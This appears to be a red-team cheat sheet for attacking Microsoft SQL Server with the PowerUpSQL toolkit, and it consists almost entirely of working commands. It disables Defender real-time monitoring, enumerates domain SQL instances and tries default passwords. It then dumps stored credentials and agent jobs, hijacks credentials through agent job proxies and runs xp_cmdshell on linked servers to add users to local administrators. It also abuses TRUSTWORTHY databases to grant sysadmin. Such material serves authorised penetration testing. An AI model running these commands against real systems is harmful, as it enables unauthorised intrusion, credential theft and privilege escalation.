PowerUpSQL.psd1
PowerUpSQL "includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution."
Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Note: this doesn't seem to work in Windows 11, even after disabling tamper protection. So you might just want to disable active protection in the GUI.
Import the PowerUpSQL module
import-module .\PowerUpSQL.psd1
Run PowerUpSQL - gather all SQL services on the domain
Any servers your account can log into will be saved into a variable called $Targets
:
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
This command will enumerate all servers you can connect to and save them to a variable called $Targets
Check for default SQL creds if you can't log into anything
If you didn't get any valid SQL logins (your $Targets
variable is empty) try checking for default passwords on the SQL services:
Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw -Verbose
Run a simple SQL query against your victim
get-sqlquery -instance victim.domain.com -query "select @@VERSION"
When you have a SQl instance running on a weird port, encapsulate it in quotes with a comma, like this: get-sqlquery -instance "yermomshaus.7minsec.com,7777"
This is similar syntax for when you connect to a server using Microsoft SQL Server Management Studio! In the Server name box, put some-pwned-server.yerdomain.com,1234
Run an OS command if xp_cmdshell is enabled
get-sqlquery -instance victim.domain.com -query "EXEC xp_cmdshell 'net localgroup Administrators'" -verbose
Get basic info about a SQL server with your "runas" creds
Get-SQLServerInfo -verbose -instance SQL01
This will give you some basic info about the OS, SQL version, what account SQL is running under, and whether or not you're a sysadmin.
Get detailed info about a SQL server with your "runas" creds
If you use Get-SQLDatabaseThreaded
you can see a lot more such database names and owners, whether encryption is on, etc.:
Get-SQLDatabaseThreaded -Instance victim.instance.com -NoDefaults | ft -autosize
Source: NETSPI
Run a general SQL audit
Strong recommendation: before running a general audit, setup your PowerUpSQL script to NOT pull Inveigh.ps1
from the Internet. Open up PowerUpSQL.ps1
and do a find for Inveigh.ps1
and you should find it pointing to https://github.com/somefolder/Inveigh.ps1
. Change that to http://localhost.ps1
and then serve the file using something like hfs. Once that's set:
invoke-sqlaudit -username sqluser -password sqlpass -instance SOME-SQL-SERVER -verbose
If you've saved creds in the $Targets
variable as shown above, you can run an audit against all servers with:
$targets | invoke-sqlaudit -Verbose
And to save just the vulnerabilities from this audit to a text file:
$targets | invoke-sqlaudit -Verbose > vulns.txt
List credentials stored in the instance
get-sqlquery -instance victim.domain.com -query "select * from sys.credentials"
Crawl SQL server links
This is a great resource for finding/attacking SQL server links.
get-sqlserverlinkcrawl -username sqluser -password sqlpass -instance SOME-SQL-SERVER | out-gridview
Be sure to use out-gridview
because it gives you a pretty PowerShell table to look at which (to me) is easier than a mountain of text.
Select the name and OS version of a linked server
SELECT
'LINKED-SERVER' AS Hostname,
version
FROM
OPENQUERY("LINKED-SERVER", 'SELECT @@VERSION AS version');
Execute commands via xp_cmdshell on a linked server:
select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''dir c:''')
If xp_cmdshell fun is working, why not add your low-priv domain account to the local admin group on that linked server?
select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''net localgroup administrators lowpriv /add''')
Dump contents of agent jobs
According to NETSPI's PowerUpSQL cheat sheet, these jobs can often contain passwords or other sensitive information.
get-sqlagentjob -Verbose -instance SQLSERVER01 | out-gridview
Dump contents of agent jobs specifically using proxy credentials
get-sqlagentjob -instance x.y.z -UsingProxyCredential
Cred hijacking using agent jobs
This comes to us from our pal nullbind on BloodHoundGang Slack. He even made a lab walkthrough if you want to try this out in a test environment first.
Get list of credentials
USE msdb;
GO
SELECT
j.name AS JobName,
s.step_id AS StepID,
s.step_name AS StepName,
c.name AS CredentialName
FROM sysjobs j
JOIN sysjobsteps s ON j.job_id = s.job_id
LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id
WHERE c.name IS NOT NULL
ORDER BY j.name, s.step_id;
Create a proxy using the credential
USE msdb;
GO
EXEC sp_add_proxy
@proxy_name = N'OSCommandProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential
EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'OSCommandProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
Create the SQL Server Agent Job configured to use the proxy account
USE msdb;
GO
-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job
-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec', -- Specifies an Operating System command
@command = N'whoami', -- The OS command to execute
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'OSCommandProxy'; -- The proxy created earlier
-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820, -- Start date (YYYYMMDD)
@active_start_time = 120000; -- Start time (HHMMSS)
-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)'; -- The server where the job will run
Execute the job
EXEC sp_start_job @job_name = N'WhoAmIJob';
Check output/error
EXEC sp_help_jobhistory @job_name= N'WhoAmIJob';
Abuse trustworthy databases
If your PowerUpSQL audit says that one or more logins are designed as "Trustworthy" you might be able to inject a stored procedure into the SQL config that allows you to act as a sysadmin.
Start by firing up something like SQL Server Management Studio and login with the account that PowerUpSQL identified as "trustworthy." Then run the following query (got this from offsec-journey.com, and NETSPI and 0xjs have some awesome info as well):
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
If you see that your login has Trustworthy
set to 1
and database_owner
as sysadmin
, you may be able to build a stored procedure to run as the "owner" - which in this case is sa/sysadmin. And since this procedure will run as the sa
account, it is possible to have the procedure add your lowpriv SQL login to the sysadmin fixed server role.
Execute the following query:
USE TRUSTWORTHY_DATABASE
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'lowpriv', 'sysadmin'
GO
Next, verify you don't have sysadmin access:
select is_srvrolemember('sysadmin')
(The result returned should be 0
)
Then fire the stored procedure:
USE TRUSTWORTHY_DATABASE
EXEC sp_elevate_me
Run a check to see if you have sysadmin access again:
select is_srvrolemember('sysadmin')
(The result returned should be 1
this time!)
See if you can fire anything via xp_cmdshell
:
EXEC master..xp_cmdshell 'whoami'
If you find xp_cmdshell
is disabled, turn it on with this query (tip from mssqltips.com):
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
Run OS command on SQL server where you have sysadmin
invoke-sqloscmd -instance SQL01 -command "dir c:\users\public" -RawResults
Tip: the -RawResults
flag helps you get...you know...raw results. Otherwise sometimes the output of your command will get cut off.